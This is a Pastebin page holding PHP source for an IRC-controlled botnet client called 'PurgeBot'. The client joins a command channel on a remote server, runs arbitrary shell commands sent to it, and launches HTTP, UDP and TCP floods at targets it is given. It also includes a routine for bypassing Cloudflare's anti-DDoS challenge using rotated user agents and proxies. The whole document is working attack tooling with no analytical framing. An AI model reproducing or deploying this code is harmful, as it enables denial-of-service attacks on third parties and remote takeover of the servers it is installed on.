Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- set_time_limit(0);
- error_reporting(0);
- /*
- _____ ____ _
- | __ \ | _ \ | |
- | |__) | _ _ __ __ _ ___| |_) | ___ | |_
- | ___/ | | | '__/ _` |/ _ \ _ < / _ \| __|
- | | | |_| | | | (_| | __/ |_) | (_) | |_
- |_| \__,_|_| \__, |\___|____/ \___/ \__|
- __/ |
- |___/
- Created by Villain
- */
- class PURGEIRC {
- protected $conf;
- protected $command;
- protected $stop = 0;
- public function __construct()
- {
- // Call Configuration
- $this->conf = array('server' => 'serverip','port' => 443,'channel' => '#boat');
- $this->Connect();
- }
- public function Connect()
- {
- // Connection Initation
- while(true){
- if(!($this->connection = fsockopen($this->conf['server'], $this->conf['port'], $errstr, $errno, 10))) $this->Connect();
- $this->send("USER purge 127.0.0.1 localhost :" . php_uname() . "");
- $this->nickname();
- $this->main();
- }
- }
- public function main()
- {
- // While Connection is Alive initate listener
- while(!feof($this->connection)){
- $this->join();
- if(function_exists('stream_select'))
- {
- $this->read = array($this->connection);
- $write = NULL;
- $except = NULL;
- $changed = stream_select($this->read, $write, $except, 30);
- if($changed == 0)
- {
- fwrite($this->connection, "PING :lelcomeatme\r\n");
- $this->read = array($this->connection);
- $write = NULL;
- $except = NULL;
- $changed = stream_select($this->read, $write, $except, 30);
- if($changed == 0) break;
- }
- }
- $this->buffer = trim(fgets($this->connection,512));
- $cmd = explode(" ",$this->buffer);
- if(substr($this->buffer,0,6)== "PING :") { $this->send("PONG :".substr($this->buffer, 6)); continue; }
- if(isset($cmd[1]) && $cmd[1]== "433") { $this->nickname(); continue; }
- $rep = str_replace(":", "", $cmd[3]);
- switch($rep){
- case '.test':
- $this->send("PRIVMSG " . $this->conf['channel'] . " testing");
- break;
- case '.http':
- $this->httpflood($cmd[4], $cmd[5], $cmd[6]);
- break;
- case '.sh':
- if($this->send("PRIVMSG " . $this->conf['channel'] . " ATTEMPTING: " . $cmd[4])){
- $this->execute($cmd[4]);
- }
- break;
- case '.migrate':
- $this->send("PRIVMSG " . $this->conf['channel'] . " MIGRATING IN 3 SECONDS!");
- sleep(3);
- fclose($this->connection);
- $this->Connect();
- break;
- case '.villainisgod':
- $this->send("PRIVMSG " . $this->conf['channel'] . " Fucking your net, thanks to Villain");
- sleep(2);
- fclose($this->connection);
- die("kek");
- break;
- case '.stop':
- $stop++;
- break;
- case '.udp':
- $this->udpflood($cmd[4], $cmd[5] , $cmd[6], $cmd[7]);
- break;
- case '.tcp':
- $this->udpflood($cmd[4], $cmd[5] , $cmd[6]);
- break;
- case '.help':
- $this->ShowMenu();
- break;
- }
- }
- }
- public function send($command)
- {
- // Send Commands
- fwrite($this->connection, $command . "\r\n");
- }
- public function nickname()
- {
- $this->alphabet = array('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z');
- $this->nick = "[Linux]-" . $this->alphabet[rand(0,24)] . $this->alphabet[rand(0,24)] . $this->alphabet[rand(0,24)] . $this->alphabet[rand(0,24)] . $this->alphabet[rand(0,24)] . $this->alphabet[rand(0,24)] . $this->alphabet[rand(0,24)] . $this->alphabet[rand(0,24)];
- fwrite($this->connection, "NICK " . $this->nick . "\r\n");
- }
- public function join()
- {
- // Join Channel
- $this->send("JOIN " . $this->conf['channel'] . " ");
- }
- public function httpflood($host, $time, $power)
- {
- $this->send("PRIVMSG " . $this->conf['channel'] . " HTTP Flooding: " . $host . " for " . $time . " seconds!");
- $endtime = time() + $time;
- while(true){
- if($endtime <= time()) break;
- for($i = 0;$i < $power;$i++){
- $this->ch = curl_init();
- curl_setopt($this->ch, CURLOPT_URL, $host);
- curl_exec($this->ch);
- curl_close($this->ch);
- }
- }
- $this->send("PRIVMSG " . $this->conf['channel'] . " HTTP Flood complete!");
- }
- public function execute($command)
- {
- exec($command);
- $this->send("PRIVMSG " . $this->conf['channel'] . " COMMAND EXECUTED!");
- }
- public function udpflood($host, $port, $time, $packetsize)
- {
- $this->alphabet = array('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '!', '£', '$', '%', '^', '&', '*');
- $this->send("PRIVMSG " . $this->conf['channel'] . " Attack started");
- $packet = $this->alphabet[rand(0,24)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)];
- for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
- $end = time() + $time;
- $multitarget = false;
- if(strpos($host, ",") !== FALSE)
- {
- $multitarget = true;
- $host = explode(",", $host);
- }
- $i = 0;
- if($multitarget)
- {
- $fp = array();
- foreach($host as $hostt) $fp[] = fsockopen("udp://".$hostt,$port,$e,$s,5);
- $count = count($host);
- while(true)
- {
- fwrite($fp[$i % $count],$packet);
- fflush($fp[$i % $count]);
- if($i % 100 == 0)
- {
- if($end < time()) break;
- if($stop == 1){
- $this->send("PRIVMSG " . $this->conf['channel'] . " Attack Holted!");
- break;
- }
- }
- $i++;
- }
- foreach($fp as $fpp) fclose($fpp);
- } else {
- $fp = fsockopen("udp://".$host,$port,$e,$s,5);
- while(true)
- {
- fwrite($fp,$packet);
- fflush($fp);
- if($i % 100 == 0)
- {
- if($end < time()) break;
- if($stop == true) break;
- }
- $i++;
- }
- fclose($fp);
- }
- $env = $i * $packetsize;
- $env = $env / 1048576;
- $vel = $env / $time;
- $vel = round($vel);
- $env = round($env);
- $this->send("PRIVMSG " . $this->conf['channel'] . " Broken Pipeline: " . $host . " attack sustained for " . $time . " seconds!");
- }
- public function tcpflood($host, $port, $time)
- {
- $this->alphabet = array('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '!', '£', '$', '%', '^', '&', '*');
- $this->send("PRIVMSG " . $this->conf['channel'] . " TCP Flood started: " . $host . " for " . $time . " seconds!");
- $endtime = time() + $time;
- $this->tcpsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
- while(true){
- $packet = $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)] . $this->alphabet[rand(0,40)];
- $log = fopen('test.txt', 'a');
- fwrite($log, $packet . "\n");
- fclose($log);
- /*
- socket_connect($this->tcpsock, $host, $port);
- fwrite($this->tcpsock, $packet);
- socket_close($this->tcpsock);
- if($endtime < time()) break;
- */
- }
- $this->send("PRIVMSG " . $this->conf['channel'] . " Tcp Flood has demolished: " . $host);
- }
- public function ShowMenu()
- {
- $this->send("PRIVMSG " . $this->conf['channel'] . " [+] UDP FLOOD COMMAND [+]: .udp ip port time packetsize");
- $this->send("PRIVMSG " . $this->conf['channel'] . " [+] TCP FLOOD COMMAND [+]: .tcp ip port time");
- $this->send("PRIVMSG " . $this->conf['channel'] . " [+] HTTP FLOOD COMMAND [+]: .http url time");
- }
- public function do_curl($url, $useragent = '', $proxy = '', $header = false, $nobody = false, $followlocation = false, $cookie = '', $timeout = 30)
- {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, !!$followlocation);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
- curl_setopt($ch, CURLOPT_ENCODING, '');
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
- curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
- if ($header) curl_setopt($ch, CURLOPT_HEADER, true);
- if ($nobody) curl_setopt($ch, CURLOPT_NOBODY, true);
- if (strlen($useragent) > 0) curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
- if (strlen($proxy) > 0) curl_setopt($ch, CURLOPT_PROXY, $proxy);
- if (strlen($cookie) > 0) curl_setopt($ch, CURLOPT_COOKIE, $cookie);
- $result = curl_exec($ch);
- curl_close($ch);
- return $result;
- }
- public function get_useragent()
- {
- //get random user agent
- $uas = array( 'Mozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13C75 Safari/601.1',
- 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko',
- 'Mozilla/5.0 (Linux; Android 5.0; SM-G900F Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36',
- 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0',
- 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:46.0) Gecko/20100101 Firefox/46.0',
- 'Mozilla/5.0 (Linux; Android 6.0.1; SM-G920F Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36',
- 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/601.6.17 (KHTML, like Gecko) Version/9.1.1 Safari/601.6.17',
- 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko',
- 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.63 Safari/537.36',
- 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36',
- 'Mozilla/5.0 (Linux; Android 6.0.1; SAMSUNG SM-G920F Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/4.0 Chrome/44.0.2403.133 Mobile Safari/537.36',
- 'Mozilla/5.0 (iPad; CPU OS 9_3_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E238 Safari/601.1',
- 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36',
- 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36',
- 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36',
- 'Mozilla/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13D15 Safari/601.1',
- 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36 OPR/37.0.2178.54',
- 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:46.0) Gecko/20100101 Firefox/46.0',
- 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36',
- 'Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E238 Safari/601.1',
- 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36 OPR/37.0.2178.54',
- 'Mozilla/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F69 Safari/601.1',
- 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36',
- 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36',
- 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko',
- 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
- 'Mozilla/5.0 (X11; Linux x86_64; rv:36.0) Gecko/20100101 Firefox/36.0',
- 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36',
- 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36',
- 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36',
- 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586',
- 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21',
- 'Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F69 Safari/601.1',
- 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
- 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36',
- 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
- 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36');
- return $uas[array_rand($uas)];
- }
- public function get_proxy($filename, $line_length = 4096)
- {
- //get random line from file
- $random_line = '';
- if (file_exists($filename) && is_readable($filename))
- {
- $handle = fopen($filename, 'r');
- if ($handle)
- {
- $line = null;
- $count = 0;
- while (($line = fgets($handle, $line_length)) !== false)
- {
- $count++;
- if ((mt_rand() % $count) == 0)
- $random_line = $line;
- }
- if (!feof($handle)) //unexpected fgets() fail
- $random_line = '';
- fclose($handle);
- }
- }
- return trim($random_line);
- }
- public function cfbypass($url, $useragent = '', $proxy = '')
- {
- $ret = array( 'success' => false,
- 'msg' => '',
- 'cookie' => array());
- $cookie = array();
- //get domain and scheme
- $url_parsed = parse_url($url);
- if (!is_array($url_parsed) || !isset($url_parsed['host']))
- {
- $ret['msg'] = 'cant determine domain';
- return $ret;
- }
- $url_domain = $url_parsed['host'];
- $url_scheme = (isset($url_parsed['scheme']) ? $url_parsed['scheme'] : 'http');
- //there is an issue with this method. if there is a '+' in the pass parameter, cloudflare does not give clearance (also tested with browser, it is a cloudflare issue)
- //so we have to take care to get a pass without a '+'
- $lc = 0;
- $get = true;
- do
- {
- //get head
- $cfuam = $this->do_curl($url, $useragent, $proxy, true, true);
- //check, if this looks like CF UAM
- if (strpos($cfuam, 'cloudflare-nginx') === false || strpos($cfuam, 'chk_jschl') === false)
- {
- $ret['msg'] = 'no CF UAM';
- break;
- }
- //get CF cookie
- if (!preg_match('/^Set\-Cookie\: __cfduid\=([a-z0-9]+);/m', $cfuam, $matches_cfuid))
- {
- $ret['msg'] = 'cant find cookie __cfduid';
- break;
- }
- $cookie['__cfduid'] = '__cfduid='.$matches_cfuid[1];
- //get refresh URL
- if (!preg_match('/^Refresh\: (\d);URL\=(.+)$/m', $cfuam, $matches_refresh_url))
- {
- $ret['msg'] = 'cant find refresh url';
- break;
- }
- $refresh_url = $url_scheme.'://'.$url_domain.trim($matches_refresh_url[2]);
- //keep the check simple
- if (strpos($refresh_url, '+') === false)
- $get = false;
- $lc++;
- if ($lc > 10)
- {
- $ret['msg'] = 'lc hit limit';
- break;
- }
- } while ($get);
- if ($get)
- return $ret;
- //properly encode query string
- if (false !== $q = strpos($refresh_url, '?'))
- {
- $a = substr($refresh_url, 0, $q);
- $b = substr($refresh_url, ($q+1));
- parse_str($b, $b);
- $refresh_url = $a.'?'.http_build_query($b);
- }
- //wait
- usleep((($matches_refresh_url[1] * 1000000) + 100000));
- //try to get clearance
- $cfchk = $this->do_curl($refresh_url, $useragent, $proxy, true, true, false, implode('; ', $cookie));
- if (!preg_match('/^Set\-Cookie\: cf_clearance\=(.+);/Um', $cfchk, $matches_cf_clearance))
- {
- $ret['msg'] = 'did not get clearance';
- return $ret;
- }
- $cookie['cf_clearance'] = 'cf_clearance='.$matches_cf_clearance[1];
- //return
- $ret = array( 'success' => true,
- 'msg' => 'successfully bypassed',
- 'cookie' => $cookie);
- return $ret;
- }
- /*
- $this->send("PRIVMSG " . $this->conf['channel'] . "Usage: <target hostname> <proxy file/nofile> <threads> <time>");
- if (count($argv) < 5)
- {
- $this->send("PRIVMSG " . $this->conf['channel'] . " Invalid parameters");
- }
- echo PHP_EOL;
- echo 'Starting flood on '.$argv[1].' for '.$argv[4].' seconds with '.$argv[3].' threads via proxies from file '.$argv[2].PHP_EOL;
- echo PHP_EOL;
- $cfbypass_debug = false;
- $url = $argv[1];
- $proxyfile = $argv[2];
- $threads = $argv[3];
- $expires = (time() + $argv[4]);
- for ($i = 1; $i <= $threads; $i++)
- {
- $pid = pcntl_fork();
- if ($pid == -1)
- echo 'Warning: Failed to fork thread '.$i.PHP_EOL;
- else if ($pid)
- continue;//pcntl_wait($status);
- else
- {
- echo 'OK: Started thread '.$i.'. Trying cf bypass...'.PHP_EOL;
- $useragent = $this->get_useragent();
- $proxy = ($proxyfile == 'nofile' ? '' : $this->get_proxy($proxyfile));
- if ($proxy == '' && $proxyfile != 'nofile')
- echo 'Warning: No proxy is set on thread '.$i.PHP_EOL;
- $cfbypass = $this->cfbypass($url, $useragent, $proxy);
- if ($cfbypass_debug)
- print_r($cfbypass);
- if ($cfbypass['success'] === true)
- {
- echo 'OK: Thread '.$i.' CF bypassed. Starting flood...'.PHP_EOL;
- while ($expires >= time())
- {
- //randomize user agent
- $useragent = $this->get_useragent();
- $flood = $this->do_curl($url, $useragent, $proxy, false, false, true, implode('; ', $cfbypass['cookie']), 15);
- }
- }
- else
- {
- echo 'Error: Thread '.$i.' CF not bypassed ('.$cfbypass['msg'].')'.PHP_EOL;
- }
- echo 'OK: Closing thread '.$i.PHP_EOL;
- exit();
- }
- }
- */
- }
- $purge = new PURGEIRC();
Advertisement
Add Comment
Please, Sign In to add comment